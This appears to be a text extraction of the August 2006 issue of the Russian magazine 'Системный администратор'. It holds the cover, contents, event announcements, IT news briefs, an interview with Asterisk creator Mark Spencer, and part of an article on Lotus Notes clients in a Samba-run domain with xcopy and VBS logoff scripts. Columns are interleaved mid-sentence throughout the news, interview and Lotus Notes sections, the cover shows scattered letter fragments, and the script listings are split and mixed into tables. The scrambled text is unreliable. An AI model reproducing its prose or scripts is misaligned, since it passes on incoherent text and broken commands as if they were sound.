№8(45) август 2006
№8(45) август 2006 подписной индекс 20780 www.samag.ru
Windows Firewall: защищаем внутренние ресурсы сети Биллинг на FreeBSD: пишем сами Проводим инвентаризацию сети средствами SMS 2003 Как устроена файловая система JFS Тестируем движки поисковых машин Настраиваем DrWeb Enterprise Suite Аудит и дизассемблирование эксплоитов Интервью с cоздателем Asterisk
Так видит журнал читатель, который забыл оформить подписку:
КА
БЫ СТ
РО ТИ РАС РА КУ Ж П
ИЛ И
НИ НО КУ ВО ЛЫ ГО ЗА ДНИ ТЯ Е НУ ЛИ СЬ
№5(30) май 2005 подписной индекс 81655 www.samag.ru
Почему MS SQL медленно работает? Ищем причины Строим защищенную беспроводную сеть: WPA-Enterprise, 802.1x EAP-TLS Настраиваем UPS под Linux Как восстановить удаленные файлы под BSD Что важно знать об IP-телефонии танавливаем Symantec Antivirus 9.0 в корпоративной сети Эффективно управляем полями пользователей в AD Контролируем безопасность сети с помощью OSSIM
КО НЕО НЧ ЖИ ИЛ ДА ИС НН ЬД О ЕН ЬГ И ЗА
ПО АВ С Л РА Е О Л НА ТПУ РА СКА БО ТЕ
УЕ
ХА Л
ВО
ТП
УС К
Интервью с Ларри Уоллом – создателем языка Perl
Так видит журнал читатель, оформивший подписку: №5(30) май 2005 подписной индекс 81655 www.samag.ru
Почему MS SQL медленно работает? Ищем причины Строим защищенную беспроводную сеть: WPA-Enterprise, 802.1x EAP-TLS Настраиваем UPS под Linux Как восстановить удаленные файлы под BSD Что важно знать об IP-телефонии танавливаем Symantec Antivirus 9.0 в корпоративной сети Эффективно управляем полями пользователей в AD Контролируем безопасность сети с помощью OSSIM Интервью с Ларри Уоллом – создателем языка Perl
ПОДПИШИТЕСЬ И ЧИТАЙТЕ! Роспечать – 20780, 81655 Пресса России – 87836 Интер-почта – тел. (495) 500-00-60
в номере 3 СОБЫТИЯ 5 ТЕНДЕНЦИИ ИНТЕРВЬЮ 6 Марк Спенсер: «Это Asterisk привлекает пользователей к Linux, а не наоборот»
Интервью с создателем популярной программной офисной станции Asterisk. Дмитрий Шурупов osa@samag.ru
АДМИНИСТРИРОВАНИЕ 8 Lotus Notes на Windows 2K/XP в *NIX-домене
Одна из схем настройки работы клиента Lotus Notes на рабочих станциях с Windows 2K /XP в домене на *NIX-сервере. Мыкола Буряк x86@gmx.net
12 Проводим инвентаризацию сети средствами SMS 2003
Хорошо настроенный SMS существенно сократит ваше время, затрачиваемое на рутинную работу по инвентаризации сети. Дмитрий Щербаков dimich_25@mail.ru
18 Современный Linux-сервер: виртуализируем сетевые устройства Часть 2
Воплотить схему виртуализации совершенно несложно. А дополнительно можно построить адаптивную систему коммутации. Алексей Барабанов alekseybb@mail.ru
26 Как работает Sendmail? Полезные подробности Часть 4: взаимодействие со сторонними программами
Возможностей Sendmail не всегда хватает для решения всего многообразия задач. Но открытость ПО тем и хороша, что позволяет наращивать мощь практически без ограничений. Сергей Супрунов amsand@rambler.ru
34 Биллинг на FreeBSD: пишем сами, используя PHP, trafd и MySQL
Если пользователи жалуются, что Интернет «тормозит», а начальство ругается, что счета от провайдера слишком большие, покупка готового биллинга – не единственный выход. Александр Чагадаев adc@a-d-c.ru
40 Обзор дистрибутива Ubuntu 6.06
Вышла новая версия уже почти культового дистрибутива, который ворвался на рынок Linux-систем и по показателю популярности оставил позади даже таких «монстров», как Fedora Core и OpenSUSE. Сергей Супрунов amsand@rambler.ru
42 Как устроена файловая система JFS
Показатели производительности файловой системы JFS не впечатляют. Хотя она спроектирована стройно и четко, а алгоритмы обработки данных и метаданных отличаются высокой степенью оптимизации. Попробуем разобраться, в чем же дело. Андрей Пешеходов fresco_pap@mail.ru
№8, август 2006
ЧЕЛОВЕК НОМЕРА 50 Волшебник из страны… Воз
Легендарный создатель компьютеров Apple I и Apple II Стив Возняк верит в сказки и сам создает их. Оксана Родионова rodion@dol.ru
БЕЗОПАСНОСТЬ 54 Windows Firewall: защищаем внутренние ресурсы сети
Сейчас локальная сеть любой, даже совсем небольшой организации защищена от внешних угроз. Настолько ли хорошо защищены ресурсы внутренней сети? Андрей Бирюков mex_inet@rambler.ru
58 Аудит и дизассемблирование эксплоитов
Эксплоиты, демонстрирующие наличие дыры (proof-ofconcept), обычно распространяются в исходных текстах, однако, основной функционал заключен в shellкоде, анализ которого представляет весьма нетривиальную задачу. Крис Касперски kk@sendmail.ru
68 Настраиваем DrWeb Enterprise Suite
Один из способов защитить предприятие от вирусной активности. Антон Борисов a.borisov@tesv.tmb.ru
WEB 74 Контролируем доступ к веб-сервису с помощью DACS
Если для настольных систем проблему аутентификации и авторизации можно считать решенной, то стандартные механизмы, используемые в веб-сервисах, пока еще не удовлетворяют современным требованиям безопасности. Сергей Яремчук grinder@ua.fm
80 Тестируем движки поисковых машин
Большинство из вас каждый день пользуется поисковыми машинами в Интернете. Какие они изнутри и чем отличаются? Иван Максимов ivan_maksimov@inbox.ru
РЕТРОСПЕКТИВА 86 Сеть друзей: история Fidonet
Фидо… Для кого-то это слово – пустой звук, для многих из вас – часть жизни, пусть, быть может, и прошлой. Но история первого в России компьютерного сообщества будет интересна каждому. Илья Александров ilya_al@rambler.ru
КНИЖНАЯ ПОЛКА 92 Обзор книжных новинок Александр Байрак x01mer@pisem.net
73, 91, 94
BUGTRAQ
1
события В Москве одновременно пройдут четыре международные IT-выставки Когда: 4-5 сентября Где: г. Москва, Экспоцентр на Красной Пресне, павильон №2 (Краснопресненская наб., 14)
Подробности: http://www.linuxworldexpo.ru http://www.infosecuritymoscow.com http://www.storage-expo.ru http://www.documation.ru Четыре одновременные международные выставкиконференции: LinuxWorld Russia, Infosecurity Russia, Storage Expo и Documation – одно из самых значимых событий в IT-сфере. Здесь соберутся все ведущие отечественные и зарубежные IT-специалисты, а также представители делового мира, заинтересованные в применении современных информационных технологий в бизнесе. LinuxWorld – ведущая международная выставка-конференция, посвящённая Linux и решениям с открытым исходным кодом. Это уникальная площадка для демонстрации любых продуктов, приложений, решений и услуг в области Open Source! Бесплатная деловая программа: Электронное правительство: повышения качества управления за счет решений Open Source. Открытые стандарты. Построение корпоративной IT-инфраструктуры на базе Open Source-решений. Средства обеспечения информационной безопасности. Технологии кластеризации. Распределенные информационно-вычислительные комплексы (P2P, Grid, поисковые машины, порталы и др.). Технологии визуализации. Новейшие разработки.
№8, август 2006
Linux для встраиваемых и мобильных устройств. Презентации продуктов и решений крупных компаний. Среди докладчиков – признанные эксперты мирового уровня: Troy Dawson (Fermilab Computing Division/CSS CSI Group); Jim Zemlin (исполнительный директор FSG), а также представители Минэкономразвития России, Центра Верификации Linux, IBM, консорциума GO4IT, компаний Linux Инк, Monta Vista, PalmSource, Бюро ЮНЕСКО, ФАИТ и другие. Зарегистрировавшись на Linux World, вы сможете также посетить проходящие одновременно в Экспоцентре специализированные выставки Infosecurity Russia 2006, Storage Expo 2006 и Documation Russia 2006. В этом году в рамках Infosecurity Russia предусмотрена насыщенная деловая программа, включающая в себя трехдневную конференцию «ИБ: международный опыт + российская практика», а также более 60 круглых столов, семинаров и презентаций компаний. Острые темы обсуждения круглых столов и дискуссий: Новые угрозы безопасности информации. Перспективы IT-сферы после вступления России в ВТО. Концепции безопасности бизнеса в различных отраслях. Решения проблем ИБ на примере Олимпиады-2006 в Турине. Возможности продвижения российских продуктов на международном рынке. Среди докладчиков – признанные эксперты мирового уровня: Каролин Турбифилл (экс-глава Internet Commerce Group в Sun Microsystems; вице-президент Counterpane Internet Security); Брюс Шнайер (основатель Counterpane Internet Security; известный специалист по криптографии); Стив Хант (экс-аналитик Forrester Research; президент 4A International), Александр Владимирович Галицкий
3
события (консалтинг; российский президент European Tech Tour Russian 2004). Темы дискуссий на трехдневной конференции Storage Expo: Тенденции и направления развития рынка систем хранения. Виртуализация в системах хранения. Технологии гарантированного долговременного хранения данных. Обеспечение непрерывности бизнес-процессов. Альтернативные технологии доступа к данным. Технологии резервного копирования. Вопросы архивирования корпоративных данных. Взаимосвязь и взаимовлияние бизнес и storage-решений и другие вопросы. Выставка и конференция Documation сфокусирована на новейших решениях и технологиях в области эффективного управления информацией, электронного документооборота и контент-менеджмента. Особое внимание будет уделяться бесплатной конференции с докладами от ведущих экспертов отрасли, а также демонстрации продуктов и услуг от крупнейших предприятий рынка. Documation собирает профессиональную аудиторию всех тех, кто стремится управлять своей деловой информацией эффективно и выгодно. Темы дискуссий: Управление жизненным циклом информации. Безопасность данных и информации в СЭД. Проблемы внедрения, успехи внедрения, модели внедрения. Вопросы стандартизации и сертификации СЭД, обмена данными между различными СЭД. Регистрация на выставки-конференции: http://www. linuxworldexpo.ru/ticket.ru.html, http://www.infosecuritymoscow. com/ticket.ru.html, а также на любом из сайтов выставок.
4
LinuxLand/SofTool’2006 Когда: 26-29 сентября Где: г. Москва, ВВЦ, павильон № 69 Подробности: http://www.linuxland.ru Компании ИТ-Экспо и Линуксцентр приглашают вас принять участие в выставке информационных технологий SofTool’2006, где планируется собрать ведущие российские Linux-компании в одном секторе выставочной площади LinuxLand. SofTool’2006 – единственное мероприятие, где Linuxкомпании получат возможность представить свои продукты конечным пользователям и корпоративным клиентам одновременно. Это самое массовое из проводимых в данной отрасли мероприятий. На LinuxLand соберутся поставщики Linux и различных решений для этой ОС: Mandriva, IBM, Novell, R-Style, HP, Oracle, ASPLinux, Linux-Online (разработчик Linux XP), НПО «Сеть» (разработчик MOPSLinux), Bitrix, ПРОМТ, Etersoft и Linuxcenter.ru, журнал Linux Format, образовательный центр Lynx Education Center и другие. Помимо выставочных стендов, на экспозиции традиционно будет расположена демо-зона, где посетители LinuxLand смогут познакомиться с предлагаемыми продуктами. В этом году в рамках LinuxLand состоится международная конференция «ИТО-2006: Технологии Linux и Open Source», первый день будет посвящен обсуждению программ внедрения Open Source в образование ЮНЕСКО, докладам и презентациям лидеров Linux-индустрии и Linux-образования. В остальные дни пройдут мастер-классы и тренинги по технологиям Linux и Open Source. Участники конференции получают кейсы со сборниками трудов, учебными пособиями и дистрибутивами Linux и Open Source. Для получения материалов необходима регистрация. Зарегистрироваться для участия в конференции в качестве слушателя вы можете по адресу: http://www.linuxland. ru/conf.phtml.
тенденции Corel восстановила прибыльность, отойдя от Linux-бизнеса
ентированные на бизнес возможности к основному продукту и включают в себя услуги поддержки. Об этом стало известно от президента и основателя Hyperic Хавьера Солтеро (Javier Soltero).
Корпорация Corel, пережив 6 лет финансовых трудностей и реорганизаций, объявила о возвращении к публичной торговле с многообещающими отчетами за первый и второй кварталы 2006 года, отмечает NewsForge. Как сообщил Стартовал первый «Сезон KDE» Грэхэм Браун (Graham Brown), исполнительный вице-прези- Разработчики популярной свободной графической оболочдент разработки программного обеспечения в Corel, одним ки KDE объявили о запуске первого «Сезона KDE». из шагов для этого стал отказ компании от Linux-продуктов: Season of KDE – проект, дополняющий «Лето кода» WordPerfect for Linux и Corel Linux. В 2001 году Xandros ли- и призванный так или иначе довести до логического концензировала у Corel права на код Corel Linux. В 2002 году, ца разработку всех приложений, которые не стали финакогда вышли следующие версии WordPerfect Office, Corel листами в студенческой инициативе Google. Уже объявперестала поддерживать редакции для GNU/Linux. В 2003 лено о том, что 14 студентов дали согласие на разработку году Vector Capital приобрела Corel, после чего она стала своих проектов даже без финансовой поддержки со сточастной компанией, ориентированной на Windows-рынок. роны Google. Подробности о «Сезоне KDE» 2006 доступны Браун охарактеризовал решение Corel отказаться на http://developer.kde.org/seasonofkde. от Corel Linux как «успешную стратегию для Corel и как ранний шаг навстречу переориентации бизнеса». Поправка к новости «Проект FreeDOS Тем не менее Corel продолжает проявлять интерес к сво- официально закрыт» из прошлого бодной ОС GNU/Linux. Помимо того, что у компании сохра- выпуска нились отношения с Xandros (связанные с разработкой дист- Cообщение о смерти свободной ОС FreeDOS оказалось рибутива), Corel продавала обновленную версию текстового лишь «шуткой» автора проекта. В день 12-летия FreeDOS процессора WordPerfect for Linux на своем веб-сайте в 2004 Джим Холл (Jim Hall) действительно поместил на главной году на протяжении 6 месяцев. Этот шаг, по словам Брауна, странице freedos.org новость о смерти проекта, однако в отбыл нацелен на то, чтобы «помочь оценить положение рын- вет на реакцию сообщества он заявил, что это была лишь ка офисных пакетов для Linux». Однако назвать результаты «ужасная шутка». Более того, в ближайшее время состоитпозитивными трудно: «На данный момент мы не наблюда- ся финальный релиз FreeDOS 1.0. ем достаточного спроса от наших основных потребителей Составил Дмитрий Шурупов и заказчиков из сферы малого бизнеса для того, чтобы гапо материалам www.nixp.ru рантировать разработку наших Linux-продуктов».
NetBSD получила полную поддержку Xen 3 Благодаря усилиям Мануэля Боуйера (Manuel Bouyer) в свободной операционной системе NetBSD появилась полная поддержка свободного средства виртуализации Xen 3. Поддержка Xen3 DomU действовала в NetBSD еще с конца марта, однако добавленная недавно функциональность позволяет также запускать контролирующий или привилегированный Xen3-домен под NetBSD. Подробности доступны на сайте порта NetBSD/xen (http://www.netbsd.org/Ports/xen).
Hyperic перестраивает бизнес на Open Source Начинающая компания из Сан-Франциско (США) Hyperic запустила проект Open Source вокруг своего одноименного ПО с целью дополнить корпоративное ПО управления дешевым продуктом и бизнес-моделью открытого кода. Hyperic опубликовала исходный код программного обеспечения Hyperic HQ и открыла веб-сайт для пользователей и разработчиков, которые, как полагают в компании, помогут с устранением ошибок и написанием различных дополнений. ПО управления Hyperic HQ следит за тем, что происходит в сетях организации и оповещает администраторов о том, что произошло то или иное событие. Hyperic будет распространять это свое ПО бесплатно под свободной лицензией GNU GPL. Деньги же планируют зарабатывать на корпоративных подписках, что добавляют различные ори-
№8, август 2006
5
интервью
Марк Спенсер: «Это Asterisk привлекает пользователей к Linux, а не наоборот!»
Крупные конференции позволяют взглянуть на давно знакомых людей с другой стороны. На прошедшем в конце июня мероприятии Interop Moscow представилась возможность пообщаться с лучшими представителями IT-индустрии, прямым образом повлиявшими на ее положение сегодня. Один из них – Марк Спенсер.
Б
лагодаря своей увлеченности открытым ПО и стечению обстоятельств он смог совершить маленькую революцию в телекоммуникациях и подарил миру мощную, а главное – свободную замену дорогостоящим коммерческим PBX – Asterisk. Марк поделился мыслями об этом продукте и об открытом ПО в интервью нашему корреспонденту. Asterisk создавался для использования в рамках одной компании как продукт с ограниченным набором необходимых функций. Выбирать для такого ПО свободную лицензию – явление незаурядное. Почему Open Source? Это не первый мой программный продукт подобного рода. Мое увлечение Open Source возникло еще задолго до того, как появилась необходимость в подобном приложении. Например, раннее я написал открытый IM-кли-
6
Открытость кода – главный фактор, сделавший Asterisk таким популярным? Факторов, конечно же, много, и не стоит ограничиваться одной открытостью. Все зависит от того, кто испольЕсли это так, то не совсем понятно, зует Asterisk. Для небольших компапочему же ныне здравствует поли- ний более важным фактором являеттика двойных стандартов (двойно- ся существенная экономия, получаего лицензирования) в отношении мая при выборе Asterisk. Для крупных к Asterisk, ведь проблемы с коде- компаний стоимость не играет столь ками вроде G.729 можно решить существенной роли – для них дейспубликацией продукта под какой- твительно важнее возможность самонибудь BSD-подобной лицензией, стоятельно изменять код под свои запозволяющей совмещать закрытые просы, что и обеспечивается моделью разработки с открытыми. Open Source. Мы стремимся сделать продукт гибким, насколько это возможно. Таким Монолитная модель программы траобразом, пользователи в зависимос- диционно является препятствием на ти от своих потребностей получают ли- пути к включению новых возможбо полностью открытую версию, либо ностей. Как удается сохранять выредакцию, которая поддерживает все сокий уровень стабильности и свое(в том числе технологии, требующие временно совершенствовать провнедрения закрытого кода), но за до- дукт, отвечая на потребности польполнительную стоимость. зователей и рынка? ент Gaim. Поэтому открытый исходный код казался мне чем-то естественным. Кроме того, важным фактором в пользу Open Source было и то, что ПО создавалось для Linux.
интервью Asterisk разрабатывается как Linux-ядро. Важно следить за тем, чтобы добавляемые части кода не влияли на правильность функционирования написанного ранее. Благодаря подключаемым модулям Asterisk является масштабируемым, его можно начинать использовать с прицелом на расширение набора выполняемых функций в будущем. При этом в небольшой объем удается вместить все необходимые возможности.
Марк Спенсер Родился в семье двух профессоров и уже в 8-м классе написал и продал программу своему учителю за 5 долларов. Позже он стал автором таких известных в сообществе Open Source-проектов, как клиент мгновенного обмена сообщениями Gaim (http:// gaim.sourceforge.net) и программная офисная телефонная станция (PBX) Asterisk (http://www.asterisk.org). История создания последней весьма интересна: через неко-
Но в прошлом году от Asterisk ответвился проект OpenPBX. Чем это возможности, за долгое время сущесвызвано? Реакцией сообщества твования продукта сложилось сильна медлительность в добавлении ное и крупное сообщество. А начинать новых функций, недовольством об- с нуля подобный проект сложно, и ему потребуется не один год для того, чтощим направлением развития? Очень важно соблюдать постоянный бы достич серьезного уровня. Кроме баланс между включением новых воз- того, многие компании уже сейчас заможностей в код продукта и сохране- рабатывают на Asterisk. нием его стабильности. Естественно, находятся люди, которые счита- Способствует ли резкий рост попуют, что в Asterisk не всегда достаточно лярности Linux (в том числе и в тебыстро появляются какие-то новшест- лекоммуникационной среде, где отва. Но ведь мы еще заботимся и о ста- крытую ОС продвигают организабильности, и о чистоте кода. Это не- ции вроде лаборатории OSDL) распростая задача, впрочем, еще ни один пространению Asterisk? из ответвившихся проектов не был ус- Пожалуй, текущая ситуация носит диаметрально противоположный харакпешным. тер: скорее, благодаря Asterisk польНа последовавшее предположе- зователи переходят на Linux. Постоние о существовании каких-либо се- янно встречаются клиенты, которым рьезных каналов связи между Asterisk по тем или иным причинам симпатичен и его ответвлениями Марк ответил от- Asterisk и они мигрируют на родную для рицательно, добавив, что это только него платформу. В свою очередь Linuxна первый взгляд (создаваемых проек- пользователи не так часто отказыватов) так просто поддерживать и разви- ются от уже применяемых ими решевать подобную кодовую базу, но стоит ний в пользу Asterisk. только взяться за дело, как возникает Ответ на вопрос о поддержке Asterisk множество трудностей. В полушутливой манере он отметил, что не хотел гигантами IT-индустрии не удивил упобы возникновения ситуаций вроде ис- минанием таких компаний, как IBM и Intel, на blade-серверах которых прека SCO против IBM/Linux. красно функционирует свободная PBX. Вашей компании Digium удалось до- Здесь все логично: раз они продвигабиться заметных успехов в телеком- ют Linux-серверы для предприятий вомуникационном бизнесе. Не ожида- обще, то почему бы и не обеспечивать ете ли вы, что это может привести поддержку предназначенного для них к появлению множества компаний, ПО с открытым кодом в виде Asterisk, которые попробуют повторить ваш что может пригодиться практически люпуть, а в итоге – к Open Source-ре- бой компании. Пришло время подискуволюции в телекоммуникационной тировать на более отвлеченные от главного детища Спенсера вопросы. индустрии? До тех пор пока наш проект не провалился, достаточно трудно выйти на ры- Вы являетесь автором другого понок телекоммуникаций с собственной пулярного Open Source-проекта – открытой PBX. Asterisk делает свою Gaim. Что он для вас значит сейчас, работу, оперативно получает новые помогаете ли вы его развитию?
№8, август 2006
торое время после основания фирмы, занимающейся Linux-консалтингом, Марку потребовалось установить офисную телефонную станцию. Однако все доступные решения были слишком дорогостоящими, он не мог себе их позволить и поэтому решился на написание собственной, открытой PBX. Теперь Asterisk используется множеством компаний по всему миру, а фирма Спенсера Digium занимается ее поддержкой.
Теперь я его только использую. На мой взгляд, это пример фантастического успеха программного обеспечения с открытым кодом. Разработкой Gaim я занимался около трех месяцев – просто для экспериментирования в применении GTK+. Однако опыт, полученный в ходе его создания и работы с сообществом, стал очень полезным в будущем – он демонстрирует, насколько значительной может оказаться любая Open Source-практика. Каким вы видите будущее программного обеспечения: полностью открытое, полностью проприетарное, или эти два направления будут както смешиваться? Перспективы мне видятся в смешении продуктов с открытым и закрытым кодом. Модель Open Source успешна по двум причинам: такое ПО может быстро захватывать огромную часть рынка и оно может совершенствоваться благодаря поправкам и новшествам, добровольно добавляемым людьми со всего мира. В то же время на рынке настольных ПК сложилась такая ситуация, что люди знают, как использовать Windows – им обычно не представляется интересным переучиваться на что-то другое. Зато им нужны инновации, а здесь уже лидерство на стороне Open Source. В конечном итоге для любого потребителя есть три критерия оценки продукта: цена, производительность и простота использования. Поэтому производители стремятся ориентироваться на достижение наиболее удачной комбинации этих критериев, выбирая соответствующие запросам программные средства.
текст: Дмитрий Шурупов, фото: Йон Холл
7
администрирование
Lotus Notes на Windows 2K/XP в *NIX-домене
Мыкола Буряк Хотите разместить на home персональные файлы пользователей Lotus Notes? И при этом сохранить полную функциональность клиента? Ищете простой переход на безопасную схему? Тогда эта статья для вас!
В
о многих крупных организациях стандарт де-факто для групповой работы в локальной, распределенной и глобальной сетях – комплексное решение Lotus Notes и Domino корпорации IBM. C момента появления первой версии Notes в конце 1989 года миллионы пользователей используют Lotus Notes и Domino как базовую корпоративную коммуникационную инфраструктуру для коллективного взаимодействия и совместного использования информационных ресурсов.
8
Сегодня семейство клиент-сер- Стоимость одной лицензии IBM Lotus верных приложений Lotus Notes Notes with messaging с поддержкой и Domino входит в число ведущих про- в течение 12 месяцев составляет 96,11 граммных продуктов в отрасли, и мно- доллара США. Минимальное количесгие компании считают это ПО осно- тво клиентских лицензий ограничено вой для эффективной и продуктив- в 100 единиц. ной работы. Приведу ориентировочные цены Стандартные на некоторые продукты Lotus Software. возможности Стоимость одной лицензии IBM Lotus Теперь перейдем к настройке многоDomino Messaging Server с поддержкой пользовательской среды на базе *NIX/ в течение 12 месяцев составляет 1225 Windows для оптимального функциодолларов США за один процессор [3]. нирования Lotus Notes.
администрирование Серверы и клиенты Семейство продуктов Domino Server состоит из трех основных видов серверов [1]: IBM Lotus Domino Messaging Server – предназначен только для доступа к функциям обмена сообщениями и планирования Domino. Этот вид сервера предусматривает поддержку разбиения на разделы, позволяющую иметь несколько экземпляров серверов Domino на одном и том же физическом сервере. IBM Lotus Domino Enterprise Server – предоставляет все функции коллективной работы в Domino, а также функции обмена сообщениями и планирования. В дополнение к поддержке разбиения на разделы сервер Enterprise предусматривает поддержку кластеризации. IBM Lotus Domino Utility Server – предоставляет неограниченный доступ к основанным на Domino приложениям без лицензии клиентского досту-
па Client Access License (CAL). Такие приложения могут бать расположены на Intranet-, Extranet- или интернет-сайте и доступны как авторизованным, так и неавторизованным пользователям через клиент Notes или браузер. Семейство продуктов Lotus Notes состоит из следующих клиентских мест: IBM Lotus Notes – сочетает в едином клиенте интегрированные функции электронной почты, календаря, группового планирования и управления информацией в Web. Данный вид клиента имеет широкий спектр инструментов для организации коллективной работы и обмена сообщениями. IBM Lotus Domino Web Access – предлагает удобные способы для получения доступа к базовым функциям Lotus Domino в области организации коллективной работы и обмена сообщениями, инструментам PIM через веб-бра-
узер. В отличие от пользователей Lotus Notes, пользователям Lotus Domino Web Access требуется только стандартный веб-браузер. IBM Lotus Domino Access for Microsoft Outlook – предоставляет пользователям Microsoft Outlook 2000/2002 среду Domino, доступ к функциям электронной почты и календаря и к другим возможностям Lotus Domino, в том числе к полнотекстовому поиску. IBM Lotus Domino WebMail – предоставляет пользователям экономичный доступ (через веб-браузер) к функциям электронной почты и календаря Lotus Domino. IBM Lotus Workplace Messaging – помогает легко и без значительных затрат расширить корпоративную систему обмена сообщениями для охвата сотрудников, не имеющих собственного рабочего стола и доступа к электронной почте.
Пусть на рабочих станциях будет установлена ОС из ли- пользователей в роуминг-пользователей, выберете на сернейки Windows, например, Windows 2K/XP, с клиентом вер- вере Lotus Domino нужных вам пользователей и активизисии Lotus Notes 6.5.х. Рабочие станции входят в домен под руйте им опцию Roaming User (см. рис. 1). Последнее позуправлением *NIX-системы, с установленной SAMBA вер- волит серверу Lotus Domino осуществлять и контролировать сии 2.2.x в том числе. Все пользователи имеют учетные за- копирование персональных файлов пользователя Lotus писи и бюджет на доменном *NIX-сервере. Каждому предо- Notes с рабочей станции каждого пользователя на сервеставлен сетевой диск (home) и загрузочный bat-фалы (ло- ры Lotus Domino и обратно. Роуминг-пользователи могут гонные скрипты). Также есть физически удаленный сервер работать только с клиентом, установленным как multi-user install. Отмечу, что при конфигурации Roaming User копиLotus Domino версии 6.5.х. Для многопользовательской среды, когда за одним руются только базовые персональные настройки пользовакомпьютером работают несколько пользователей, т.е. нет теля, что ограничивает функциональность Lotus Notes. Такзакрепленного рабочего места за каждым пользовате- же к недостаткам можно отнести то, что ощутимо возрасталем, предусмотрен такой вид инсталляции Lotus Notes, ет трафик между рабочими станциями и сервером. В слукак multi-user install [4]. Этот вид установки предназначен чае когда количество пользователей несколько сотен челотолько для Windows-систем и позволяет каждому пользо- век, а пропускная способность канала весьма ограничена, вателю сохранять свои персональные рабочий стол, ад- то указанный вариант становится непрактичным. ресную книгу, свойства и др. всегда обновленными. Программные файлы инсталлируются в общую директорию, например, в C:\Lotus\Notes, а персональные файлы пользователей, включая конфигурационный notes.ini, хранятся в директории C:\Documents and Settings\<username>\Local Settings\Application Data\Lotus\Notes\Data. Если в конфигурации доменного *NIX-сервера нет возможности активизировать функцию записи поддиректории Local Settings вместе с профайлом пользователя на доменный сервер, а количество пользовательских файлов Lotus Notes и соответственно их объем остаются неограниченными, то данный вид инсталляции теряет свою функциональность. В гетерогенной среде *NIX/Windows всегда имеется большая вероятность частичной потери или повреждения профайла пользователя при загрузке и выгрузке профиля на рабочую станцию и с неё. Картина будет неполной, если я не упомяну такой вид Рисунок 1. Активация опции Roaming User на сервере пользователя, как Roaming User. Чтобы перевести обычных Lotus Domino
№8, август 2006
9
администрирование Требования к серверной части [2] Платформа
Поддерживаемые ОС
Windows 2000
Windows NT
Windows 2000 Server; Windows 2000 Advanced Server
Поддерживаемые процессоры ОЗУ
Windows NT4 Intel
Windows 2003 Windows 2003 Server Standard Edition; Windows 2003 Server Enterprise Edition
Intel Pentium 128 Мб минимум, рекомендуется 192 Мб или больше
256 Мб минимум
AIX
Linux
Solaris
AIX 5.1; AIX 5.2; AIX 5.3
Red Hat Enterprise Linux 2.1; Red Hat Enterprise Linux 3.0; SUSE LINUX Enterprise Server 8.0; UnitedLinux 1.0; Powered by UnitedLinux 1.0
Solaris 8; Solaris 9
PowerPC, POWER, POWER2, POWER3 RS64, POWER5
Intel x86
UltraSPARC and newer
192 Мб минимум, рекомендуется 256 Мб или больше
128 Мб минимум, рекомендуется 192 Мб или больше
192 Мб минимум, рекомендуется 256 Мб или больше
Дисковое пространство
1 Гб минимум, рекомендуется 1.5 Гб или больше
1 Гб минимум, рекомендуется 1.5 Гб или больше
Дисковое пространство для SWAP
В 2 раза больше физического ОЗУ
В 3 раза больше физического ОЗУ
Тонкая настройка
xcopy "C:\Lotus\Notes\Data\pid.nbf" ↵
"H:\Lotus\Notes\Data\" /d /c /h /r /y Явный вариант решения нашей задачи – разместить перxcopy "C:\Lotus\Notes\Data\headline.nsf" ↵ "H:\Lotus\Notes\Data\" /d /c /h /r /y сональные файлы Lotus Notes на сетевых дисках пользоxcopy "C:\Lotus\Notes\Data\desktop6.ndk" ↵ вателей. При этом в настройках Lotus Notes нужно про"H:\Lotus\Notes\Data\" /d /c /h /r /y писать путь к персональным файлам. В домене, осноLogoff_script.vbs в невидимом окне вызывает пакетванном на Active Directory, указанный выше вариант будет беспрепятственно работать без каких-либо ограниче- ный файл lotus_copy.cmd. После чего происходит заний [5]. При реализации этого решения в нашем сценарии держка на 5 секунд для того, чтобы успел выполниться *NIX-сервер будет блокировать множество сетевых запро- lotus_copy.cmd. Lotus_copy.cmd при отключении пользователя с рабосов клиента Lotus Notes к персональным файлам пользователей. Вследствие этого корректное функционирова- чей станции копирует часть персональных файлов на сение клиента Lotus Notes будет проблематичным или кли- тевой диск, например H:\. На общедоступном ресурсе размещаем папку new_ ент вообще откажет в работе. Поэтому предлагаю схему настройки Lotus Notes и Domino в данной многопользова- lotus, в корне которой находятся файлы logon_lotus.cmd, lotus_save_lite.cmd и lotus_notes_6_5.lnk. тельской среде: Logon_lotus.cmd – пакетный файл, вызываемый из заУчетные записи пользователей на сервере Lotus Domino настроены стандартным образом без активации опции грузочных bat-файлов каждого пользователя на доменRoaming User. На каждой рабочей станции устанавливает- ном *NIX-сервере, копирующий файлы Lotus Notes с дисся стандартный вид инсталляции для одного пользователя ка H:\ на C:\. в директорию C:\Lotus\Notes. Далее необходимо на каждую logon_lotus.cmd рабочую станцию скопировать cmd- и vbs-скрипты в стандартную директорию Logoff-скриптов %windir%\system32\ xcopy "H:\Lotus\Notes\Data\cluster.ncf" ↵ "C:\Lotus\Notes\Data\" /c /h /r /y GroupPolicy\User\Scripts\Logoff и активировать только xcopy "H:\Lotus\Notes\Data\jobsched.njf" ↵ vbs-скрипт через оснастку Scripts(Logon/Logoff) Group Policy "C:\Lotus\Notes\Data\" /c /h /r /y xcopy "H:\Lotus\Notes\Data\bookmark.nsf" ↵ в Microsoft Management Console (MMC) (см. рис. 2). logoff_script.vbs set WSHShell = CreateObject("WScript.Shell") WSHShell.Run "cmd /c lotus_copy.cmd",0 WScript.Sleep 5000 lotus_copy.cmd xcopy "C:\Lotus\Notes\Data\cluster.ncf" ↵ "H:\Lotus\Notes\Data\" /d /c /h /r /y xcopy "C:\Lotus\Notes\Data\jobsched.njf" ↵ "H:\Lotus\Notes\Data\" /d /c /h /r /y Требования к клиентской части Платформа
Windows 98
Поддерживаемые ОС
Windows 98
Поддерживаемые процессоры ОЗУ Дисковое пространство
10
64 Мб минимум, рекомендуется 256 Мб или больше
"C:\Lotus\Notes\Data\" /c /h /r /y xcopy "H:\Lotus\Notes\Data\desktop6.ndk" ↵ "C:\Lotus\Notes\Data\" /c /h /r /y xcopy "H:\Lotus\Notes\Data\names.nsf" ↵ "C:\Lotus\Notes\Data\" /c /h /r /y xcopy "H:\Lotus\Notes\Data\pid.nbf" ↵ "C:\Lotus\Notes\Data\" /c /h /r /y xcopy "H:\Lotus\Notes\Data\headline.nsf" ↵ "C:\Lotus\Notes\Data\" /c /h /r /y
